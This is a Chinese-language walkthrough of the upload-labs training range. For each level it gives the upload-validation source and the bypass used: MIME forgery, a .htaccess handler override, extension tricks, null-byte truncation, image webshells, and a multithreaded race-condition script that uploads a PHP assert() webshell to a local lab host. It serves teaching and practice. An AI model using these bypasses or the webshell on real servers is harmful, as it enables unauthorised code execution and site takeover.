标签:hand multipart 直接 cal map strip name match 连接
一个帮你总结所有类型的上传漏洞的靶场
操作系统:推荐windows(除了Pass-19必须在linux下,其余Pass都可以在windows上运行)
php版本:推荐5.2.17(其他版本可能会导致部分Pass无法突破)
php组件:php_gd2,php_exif(部分Pass需要开启这两个组件)
apache:以moudel方式连接
PS:为了节省时间,可下载Windows下集成环境,解压即可运行靶机环境。
绕过方法
源代码:
1 function checkFile() { 2 var file = document.getElementsByName(‘upload_file‘)[0].value; 3 if (file == null || file == "") { 4 alert("请选择要上传的文件!"); 5 return false; 6 } 7 //定义允许上传的文件类型 8 var allow_ext = ".jpg|.png|.gif"; 9 //提取上传文件的类型 10 var ext_name = file.substring(file.lastIndexOf(".")); 11 //判断上传文件类型是否允许上传 12 if (allow_ext.indexOf(ext_name + "|") == -1) { 13 var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; 14 alert(errMsg); 15 return false; 16 } 17 }
1.前端禁用JS,直接上传Webshell
2.把以.php结尾的小马改为以.jpg|.png|.gif结尾,用burpsuite抓包,在把.jpg|.png|.gif改回.php即可上传成功
源代码:
1 $is_upload = false; 2 $msg = null; 3 if (isset($_POST[‘submit‘])) { 4 if (file_exists($UPLOAD_ADDR)) { 5 if (($_FILES[‘upload_file‘][‘type‘] == ‘image/jpeg‘) || ($_FILES[‘upload_file‘][‘type‘] == ‘image/png‘) || ($_FILES[‘upload_file‘][‘type‘] == ‘image/gif‘)) { 6 if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) { 7 $img_path = $UPLOAD_ADDR . $_FILES[‘upload_file‘][‘name‘]; 8 $is_upload = true; 9 10 } 11 } else { 12 $msg = ‘文件类型不正确,请重新上传!‘; 13 } 14 } else { 15 $msg = $UPLOAD_ADDR.‘文件夹不存在,请手工创建!‘; 16 } 17 }
由代码可知,对文件MIME类型进行了验证判断
截断上传数据包,修改Content-Type为image/gif
,然后放行数据包
源代码:
1 $is_upload = false; 2 $msg = null; 3 if (isset($_POST[‘submit‘])) { 4 if (file_exists($UPLOAD_ADDR)) { 5 $deny_ext = array(‘.asp‘,‘.aspx‘,‘.php‘,‘.jsp‘); 6 $file_name = trim($_FILES[‘upload_file‘][‘name‘]); 7 $file_name = deldot($file_name);//删除文件名末尾的点 8 $file_ext = strrchr($file_name, ‘.‘); 9 $file_ext = strtolower($file_ext); //转换为小写 10 $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA 11 $file_ext = trim($file_ext); //收尾去空 12 13 if(!in_array($file_ext, $deny_ext)) { 14 if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR. ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) { 15 $img_path = $UPLOAD_ADDR .‘/‘. $_FILES[‘upload_file‘][‘name‘]; 16 $is_upload = true; 17 } 18 } else { 19 $msg = ‘不允许上传.asp,.aspx,.php,.jsp后缀文件!‘; 20 } 21 } else { 22 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘; 23 } 24 }
1.这里是黑名单验证(‘.asp‘,‘.aspx‘,‘.php‘,‘.jsp‘),我们可上传php3,php5...等这样可以被服务器解析的后缀名
2.重写文件解析规则绕过。上传先上传一个名为.htaccess
文件,内容如下:
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
一句话木马的制作:https://blog.csdn.net/netuser1937/article/details/53738675/
然后再上传一个1.jpg
执行上传的1.jpg
脚本
通过.htaccess文件调用php解析器去解析一个文件名中只要包含"1.jpg"这个字符串的任意文件,
无论扩展名是什么(没有也行),都以php的方式来解析
源代码:
1 $is_upload = false; 2 $msg = null; 3 if (isset($_POST[‘submit‘])) { 4 if (file_exists($UPLOAD_ADDR)) { 5 $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"); 6 $file_name = trim($_FILES[‘upload_file‘][‘name‘]); 7 $file_name = deldot($file_name);//删除文件名末尾的点 8 $file_ext = strrchr($file_name, ‘.‘); 9 $file_ext = strtolower($file_ext); //转换为小写 10 $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA 11 $file_ext = trim($file_ext); //收尾去空 12 13 if (!in_array($file_ext, $deny_ext)) { 14 if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) { 15 $img_path = $UPLOAD_ADDR . $_FILES[‘upload_file‘][‘name‘]; 16 $is_upload = true; 17 } 18 } else { 19 $msg = ‘此文件不允许上传!‘; 20 } 21 } else { 22 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘; 23 } 24 }
分析代码发现,这里对上传的后缀名的判断增加了,php3.php5....已经不允许上传,但是没有限制.htaccess文件的上传,所以我们依然可以使用
重写文件解析规则绕过,方法同上题一样,这里不再赘述
源代码:
1 $is_upload = false; 2 $msg = null; 3 if (isset($_POST[‘submit‘])) { 4 if (file_exists($UPLOAD_ADDR)) { 5 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); 6 $file_name = trim($_FILES[‘upload_file‘][‘name‘]); 7 $file_name = deldot($file_name);//删除文件名末尾的点 8 $file_ext = strrchr($file_name, ‘.‘); 9 $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA 10 $file_ext = trim($file_ext); //首尾去空 11 12 if (!in_array($file_ext, $deny_ext)) { 13 if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) { 14 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name; 15 $is_upload = true; 16 } 17 } else { 18 $msg = ‘此文件不允许上传‘; 19 } 20 } else { 21 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘; 22 } 23 }
分析代码,发现以.htaccess为后缀的文件已经不允许上传,但是 $file_ext = strtolower($file_ext); //转换为小写 这一句没有了,我们就可以使用文件名后缀大小写混合绕过,把1.php改为1.phP...来上传
源代码:
1 $is_upload = false; 2 $msg = null; 3 if (isset($_POST[‘submit‘])) { 4 if (file_exists($UPLOAD_ADDR)) { 5 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); 6 $file_name = trim($_FILES[‘upload_file‘][‘name‘]); 7 $file_name = deldot($file_name);//删除文件名末尾的点 8 $file_ext = strrchr($file_name, ‘.‘); 9 $file_ext = strtolower($file_ext); //转换为小写 10 $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA 11 12 if (!in_array($file_ext, $deny_ext)) { 13 if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) { 14 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name; 15 $is_upload = true; 16 } 17 } else { 18 $msg = ‘此文件不允许上传‘; 19 } 20 } else { 21 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘; 22 } 23 }
利用Windows系统的文件名特性。文件名最后增加空格和点,写成1.php .
,这个需要用burpsuite抓包修改,上传后保存在Windows系统上的文件名最后的一个.
会被去掉,实际上保存的文件名就是1.php
果然上传成功
源代码:
1 $is_upload = false; 2 $msg = null; 3 if (isset($_POST[‘submit‘])) { 4 if (file_exists($UPLOAD_ADDR)) { 5 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); 6 $file_name = trim($_FILES[‘upload_file‘][‘name‘]); 7 $file_ext = strrchr($file_name, ‘.‘); 8 $file_ext = strtolower($file_ext); //转换为小写 9 $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA 10 $file_ext = trim($file_ext); //首尾去空 11 12 if (!in_array($file_ext, $deny_ext)) { 13 if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) { 14 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name; 15 $is_upload = true; 16 } 17 } else { 18 $msg = ‘此文件不允许上传‘; 19 } 20 } else { 21 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘; 22 } 23 }
原理同Pass-06,文件名后加点和空格,改成1.php.
源代码:
1 $is_upload = false; 2 $msg = null; 3 if (isset($_POST[‘submit‘])) { 4 if (file_exists($UPLOAD_ADDR)) { 5 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); 6 $file_name = trim($_FILES[‘upload_file‘][‘name‘]); 7 $file_name = deldot($file_name);//删除文件名末尾的点 8 $file_ext = strrchr($file_name, ‘.‘); 9 $file_ext = strtolower($file_ext); //转换为小写 10 $file_ext = trim($file_ext); //首尾去空 11 12 if (!in_array($file_ext, $deny_ext)) { 13 if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) { 14 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name; 15 $is_upload = true; 16 } 17 } else { 18 $msg = ‘此文件不允许上传‘; 19 } 20 } else { 21 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘; 22 } 23 }
分析代码,少了 $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA 这一句,我们可以采用Windows文件流特性绕过,文件名改成
1.php::$DATA , 上传成功后保存的文件名其实是1.php
源代码:
1 $is_upload = false; 2 $msg = null; 3 if (isset($_POST[‘submit‘])) { 4 if (file_exists($UPLOAD_ADDR)) { 5 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); 6 $file_name = trim($_FILES[‘upload_file‘][‘name‘]); 7 $file_name = deldot($file_name);//删除文件名末尾的点 8 $file_ext = strrchr($file_name, ‘.‘); 9 $file_ext = strtolower($file_ext); //转换为小写 10 $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA 11 $file_ext = trim($file_ext); //首尾去空 12 13 if (!in_array($file_ext, $deny_ext)) { 14 if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) { 15 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name; 16 $is_upload = true; 17 } 18 } else { 19 $msg = ‘此文件不允许上传‘; 20 } 21 } else { 22 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘; 23 } 24 }
原理同Pass-06,上传文件名后加上点+空格+点,改为1.php. .
源代码:
1 $is_upload = false; 2 $msg = null; 3 if (isset($_POST[‘submit‘])) { 4 if (file_exists($UPLOAD_ADDR)) { 5 $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); 6 7 $file_name = trim($_FILES[‘upload_file‘][‘name‘]); 8 $file_name = str_ireplace($deny_ext,"", $file_name); 9 if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $file_name)) { 10 $img_path = $UPLOAD_ADDR . ‘/‘ .$file_name; 11 $is_upload = true; 12 } 13 } else { 14 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘; 15 } 16 }
分析代码,由于 $file_name = str_ireplace($deny_ext,"", $file_name); 只对文件后缀名进行一次过滤,这样的话,双写文件名绕过,文件名改成1.pphphp
源代码:
1 $is_upload = false; 2 $msg = null; 3 if(isset($_POST[‘submit‘])){ 4 $ext_arr = array(‘jpg‘,‘png‘,‘gif‘); 5 $file_ext = substr($_FILES[‘upload_file‘][‘name‘],strrpos($_FILES[‘upload_file‘][‘name‘],".")+1); 6 if(in_array($file_ext,$ext_arr)){ 7 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘]; 8 $img_path = $_GET[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext; 9 10 if(move_uploaded_file($temp_file,$img_path)){ 11 $is_upload = true; 12 } 13 else{ 14 $msg = ‘上传失败!‘; 15 } 16 } 17 else{ 18 $msg = "只允许上传.jpg|.png|.gif类型文件!"; 19 } 20 }
分析代码,这是以时间戳的方式对上传文件进行命名,使用上传路径名%00截断绕过,不过这需要对文件有足够的权限,比如说创建
文件夹,上传的文件名写成1.jpg
, save_path改成../upload/1.php%00
,最后保存下来的文件就是1.php
源代码:
1 $is_upload = false; 2 $msg = null; 3 if(isset($_POST[‘submit‘])){ 4 $ext_arr = array(‘jpg‘,‘png‘,‘gif‘); 5 $file_ext = substr($_FILES[‘upload_file‘][‘name‘],strrpos($_FILES[‘upload_file‘][‘name‘],".")+1); 6 if(in_array($file_ext,$ext_arr)){ 7 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘]; 8 $img_path = $_POST[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext; 9 10 if(move_uploaded_file($temp_file,$img_path)){ 11 $is_upload = true; 12 } 13 else{ 14 $msg = "上传失败"; 15 } 16 } 17 else{ 18 $msg = "只允许上传.jpg|.png|.gif类型文件!"; 19 } 20 }
原理同Pass-11,上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成../upload/1.php【二进制00】
形式
源代码:
1 function getReailFileType($filename){ 2 $file = fopen($filename, "rb"); 3 $bin = fread($file, 2); //只读2字节 4 fclose($file); 5 $strInfo = @unpack("C2chars", $bin); 6 $typeCode = intval($strInfo[‘chars1‘].$strInfo[‘chars2‘]); 7 $fileType = ‘‘; 8 switch($typeCode){ 9 case 255216: 10 $fileType = ‘jpg‘; 11 break; 12 case 13780: 13 $fileType = ‘png‘; 14 break; 15 case 7173: 16 $fileType = ‘gif‘; 17 break; 18 default: 19 $fileType = ‘unknown‘; 20 } 21 return $fileType; 22 } 23 24 $is_upload = false; 25 $msg = null; 26 if(isset($_POST[‘submit‘])){ 27 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘]; 28 $file_type = getReailFileType($temp_file); 29 30 if($file_type == ‘unknown‘){ 31 $msg = "文件未知,上传失败!"; 32 }else{ 33 $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type; 34 if(move_uploaded_file($temp_file,$img_path)){ 35 $is_upload = true; 36 } 37 else{ 38 $msg = "上传失败"; 39 } 40 } 41 }
绕过文件头检查,添加GIF图片的文件头GIF89a
,绕过GIF图片检查。
或者我们使用命令copy 1.jpg /b + shell.php /a webshell.jpg
,将php一句话追加到jpg图片末尾,代码不全的话,人工补充完整。形成一个包含Webshell代码的新jpg图片,然后直接上传即可。但是我们没有办法拿到shell,应为我们上传的图片马无法被解析成php形式,通常图片马配合%00或者0x00截断上传,或者配合解析漏洞
源代码:
1 function isImage($filename){ 2 $types = ‘.jpeg|.png|.gif‘; 3 if(file_exists($filename)){ 4 $info = getimagesize($filename); 5 $ext = image_type_to_extension($info[2]); 6 if(stripos($types,$ext)){ 7 return $ext; 8 }else{ 9 return false; 10 } 11 }else{ 12 return false; 13 } 14 } 15 16 $is_upload = false; 17 $msg = null; 18 if(isset($_POST[‘submit‘])){ 19 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘]; 20 $res = isImage($temp_file); 21 if(!$res){ 22 $msg = "文件未知,上传失败!"; 23 }else{ 24 $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res; 25 if(move_uploaded_file($temp_file,$img_path)){ 26 $is_upload = true; 27 } 28 else{ 29 $msg = "上传失败"; 30 } 31 } 32 }
getimagesize() 函数用于获取图像尺寸 ,索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
这里有详解:https://blog.csdn.net/sanbingyutuoniao123/article/details/52166617
image_type_to_extension() 函数用于获取图片后缀
源代码:
1 function isImage($filename){ 2 //需要开启php_exif模块 3 $image_type = exif_imagetype($filename); 4 switch ($image_type) { 5 case IMAGETYPE_GIF: 6 return "gif"; 7 break; 8 case IMAGETYPE_JPEG: 9 return "jpg"; 10 break; 11 case IMAGETYPE_PNG: 12 return "png"; 13 break; 14 default: 15 return false; 16 break; 17 } 18 } 19 20 $is_upload = false; 21 $msg = null; 22 if(isset($_POST[‘submit‘])){ 23 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘]; 24 $res = isImage($temp_file); 25 if(!$res){ 26 $msg = "文件未知,上传失败!"; 27 }else{ 28 $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res; 29 if(move_uploaded_file($temp_file,$img_path)){ 30 $is_upload = true; 31 } 32 else{ 33 $msg = "上传失败"; 34 } 35 } 36 }
exif_imagetype() 此函数是php内置函数,用来获取图片类型
源代码:
1 $is_upload = false; 2 $msg = null; 3 if (isset($_POST[‘submit‘])){ 4 // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径 5 $filename = $_FILES[‘upload_file‘][‘name‘]; 6 $filetype = $_FILES[‘upload_file‘][‘type‘]; 7 $tmpname = $_FILES[‘upload_file‘][‘tmp_name‘]; 8 9 $target_path=$UPLOAD_ADDR.basename($filename); 10 11 // 获得上传文件的扩展名 12 $fileext= substr(strrchr($filename,"."),1); 13 14 //判断文件后缀与类型,合法才进行上传操作 15 if(($fileext == "jpg") && ($filetype=="image/jpeg")){ 16 if(move_uploaded_file($tmpname,$target_path)) 17 { 18 //使用上传的图片生成新的图片 19 $im = imagecreatefromjpeg($target_path); 20 21 if($im == false){ 22 $msg = "该文件不是jpg格式的图片!"; 23 }else{ 24 //给新图片指定文件名 25 srand(time()); 26 $newfilename = strval(rand()).".jpg"; 27 $newimagepath = $UPLOAD_ADDR.$newfilename; 28 imagejpeg($im,$newimagepath); 29 //显示二次渲染后的图片(使用用户上传图片生成的新图片) 30 $img_path = $UPLOAD_ADDR.$newfilename; 31 unlink($target_path); 32 $is_upload = true; 33 } 34 } 35 else 36 { 37 $msg = "上传失败!"; 38 } 39 40 }else if(($fileext == "png") && ($filetype=="image/png")){ 41 if(move_uploaded_file($tmpname,$target_path)) 42 { 43 //使用上传的图片生成新的图片 44 $im = imagecreatefrompng($target_path); 45 46 if($im == false){ 47 $msg = "该文件不是png格式的图片!"; 48 }else{ 49 //给新图片指定文件名 50 srand(time()); 51 $newfilename = strval(rand()).".png"; 52 $newimagepath = $UPLOAD_ADDR.$newfilename; 53 imagepng($im,$newimagepath); 54 //显示二次渲染后的图片(使用用户上传图片生成的新图片) 55 $img_path = $UPLOAD_ADDR.$newfilename; 56 unlink($target_path); 57 $is_upload = true; 58 } 59 } 60 else 61 { 62 $msg = "上传失败!"; 63 } 64 65 }else if(($fileext == "gif") && ($filetype=="image/gif")){ 66 if(move_uploaded_file($tmpname,$target_path)) 67 { 68 //使用上传的图片生成新的图片 69 $im = imagecreatefromgif($target_path); 70 if($im == false){ 71 $msg = "该文件不是gif格式的图片!"; 72 }else{ 73 //给新图片指定文件名 74 srand(time()); 75 $newfilename = strval(rand()).".gif"; 76 $newimagepath = $UPLOAD_ADDR.$newfilename; 77 imagegif($im,$newimagepath); 78 //显示二次渲染后的图片(使用用户上传图片生成的新图片) 79 $img_path = $UPLOAD_ADDR.$newfilename; 80 unlink($target_path); 81 $is_upload = true; 82 } 83 } 84 else 85 { 86 $msg = "上传失败!"; 87 } 88 }else{ 89 $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!"; 90 } 91 }
原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。
这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片示例。
php图像二次渲染:
https://blog.csdn.net/hitwangpeng/article/details/48661433
https://blog.csdn.net/hitwangpeng/article/details/46548849
这两个讲的还可以
打开被渲染后的图片,Webshell代码仍然存在
提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个示例文件。 直接上传示例文件会触发Warning警告,并提示文件不是jpg格式的图片。但是实际上已经上传成功,而且示例文件名没有改变。
从上面上传jpg图片可以看到我们想复杂了,程序没有对渲染异常进行处理,直接在正常png图片内插入webshell代码,然后上传示例文件即可,并不需要图片是正常的图片。
程序依然没有对文件重命名,携带webshell的无效损坏png图片直接被上传成功。
源代码:
1 $is_upload = false; 2 $msg = null; 3 4 if(isset($_POST[‘submit‘])){ 5 $ext_arr = array(‘jpg‘,‘png‘,‘gif‘); 6 $file_name = $_FILES[‘upload_file‘][‘name‘]; 7 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘]; 8 $file_ext = substr($file_name,strrpos($file_name,".")+1); 9 $upload_file = $UPLOAD_ADDR . ‘/‘ . $file_name; 10 11 if(move_uploaded_file($temp_file, $upload_file)){ 12 if(in_array($file_ext,$ext_arr)){ 13 $img_path = $UPLOAD_ADDR . ‘/‘. rand(10, 99).date("YmdHis").".".$file_ext; 14 rename($upload_file, $img_path); 15 unlink($upload_file); 16 $is_upload = true; 17 }else{ 18 $msg = "只允许上传.jpg|.png|.gif类型文件!"; 19 unlink($upload_file); 20 } 21 }else{ 22 $msg = ‘上传失败!‘; 23 } 24 }
利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp
安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。
1 #!/usr/bin/env python 2 # coding:utf-8
3 4 5 import hackhttp 6 from multiprocessing.dummy import Pool as ThreadPool 7 8 9 def upload(lists): 10 hh = hackhttp.hackhttp() 11 raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1 12 Host: 127.0.0.1 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 15 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 16 Accept-Encoding: gzip, deflate 17 Referer: http://127.0.0.1/upload-labs/Pass-17/index.php 18 Cookie: pass=17 19 Connection: close 20 Upgrade-Insecure-Requests: 1 21 Content-Type: multipart/form-data; boundary=---------------------------6696274297634 22 Content-Length: 341 23 24 -----------------------------6696274297634 25 Content-Disposition: form-data; name="upload_file"; filename="17.php" 26 Content-Type: application/octet-stream 27 28 <?php assert($_POST["LandGrey"])?> 29 -----------------------------6696274297634 30 Content-Disposition: form-data; name="submit" 31 32 上传 33 -----------------------------6696274297634-- 34 """ 35 code, head, html, redirect, log = hh.http(‘http://127.0.0.1/upload-labs/Pass-17/index.php‘, raw=raw) 36 print(str(code) + "\r") 37 38 39 pool = ThreadPool(10) 40 pool.map(upload, range(10000)) 41 pool.close() 42 pool.join()
在脚本运行的时候,访问Webshell
源代码:
1 //index.php 2 $is_upload = false; 3 $msg = null; 4 if (isset($_POST[‘submit‘])) 5 { 6 require_once("./myupload.php"); 7 $imgFileName =time(); 8 $u = new MyUpload($_FILES[‘upload_file‘][‘name‘], $_FILES[‘upload_file‘][‘tmp_name‘], $_FILES[‘upload_file‘][‘size‘],$imgFileName); 9 $status_code = $u->upload($UPLOAD_ADDR); 10 switch ($status_code) { 11 case 1: 12 $is_upload = true; 13 $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; 14 break; 15 case 2: 16 $msg = ‘文件已经被上传,但没有重命名。‘; 17 break; 18 case -1: 19 $msg = ‘这个文件不能上传到服务器的临时文件存储目录。‘; 20 break; 21 case -2: 22 $msg = ‘上传失败,上传目录不可写。‘; 23 break; 24 case -3: 25 $msg = ‘上传失败,无法上传该类型文件。‘; 26 break; 27 case -4: 28 $msg = ‘上传失败,上传的文件过大。‘; 29 break; 30 case -5: 31 $msg = ‘上传失败,服务器已经存在相同名称文件。‘; 32 break; 33 case -6: 34 $msg = ‘文件无法上传,文件不能复制到目标目录。‘; 35 break; 36 default: 37 $msg = ‘未知错误!‘; 38 break; 39 } 40 } 41 42 //myupload.php 43 class MyUpload{ 44 ...... 45 ...... 46 ...... 47 var $cls_arr_ext_accepted = array( 48 ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt", 49 ".html", ".xml", ".tiff", ".jpeg", ".png" ); 50 51 ...... 52 ...... 53 ...... 54 /** upload() 55 ** 56 ** Method to upload the file. 57 ** This is the only method to call outside the class. 58 ** @para String name of directory we upload to 59 ** @returns void 60 **/ 61 function upload( $dir ){ 62 63 $ret = $this->isUploadedFile(); 64 65 if( $ret != 1 ){ 66 return $this->resultUpload( $ret ); 67 } 68 69 $ret = $this->setDir( $dir ); 70 if( $ret != 1 ){ 71 return $this->resultUpload( $ret ); 72 } 73 74 $ret = $this->checkExtension(); 75 if( $ret != 1 ){ 76 return $this->resultUpload( $ret ); 77 } 78 79 $ret = $this->checkSize(); 80 if( $ret != 1 ){ 81 return $this->resultUpload( $ret ); 82 } 83 84 // if flag to check if the file exists is set to 1 85 86 if( $this->cls_file_exists == 1 ){ 87 88 $ret = $this->checkFileExists(); 89 if( $ret != 1 ){ 90 return $this->resultUpload( $ret ); 91 } 92 } 93 94 // if we are here, we are ready to move the file to destination 95 96 $ret = $this->move(); 97 if( $ret != 1 ){ 98 return $this->resultUpload( $ret ); 99 } 100 101 // check if we need to rename the file 102 103 if( $this->cls_rename_file == 1 ){ 104 $ret = $this->renameFile(); 105 if( $ret != 1 ){ 106 return $this->resultUpload( $ret ); 107 } 108 } 109 110 // if we are here, everything worked as planned :) 111 112 return $this->resultUpload( "SUCCESS" ); 113 114 } 115 ...... 116 ...... 117 ...... 118 };
刚开始没有找到绕过方法,最后下载作者Github提供的打包环境,利用上传重命名竞争+Apache解析漏洞,成功绕过。
上传名字为18.php.7Z
的文件,快速重复提交该数据包,会提示文件已经被上传,但没有被重命名。
快速提交上面的数据包,可以让文件名字不被重命名上传成功。
然后利用Apache的解析漏洞,即可获得shell
源代码:
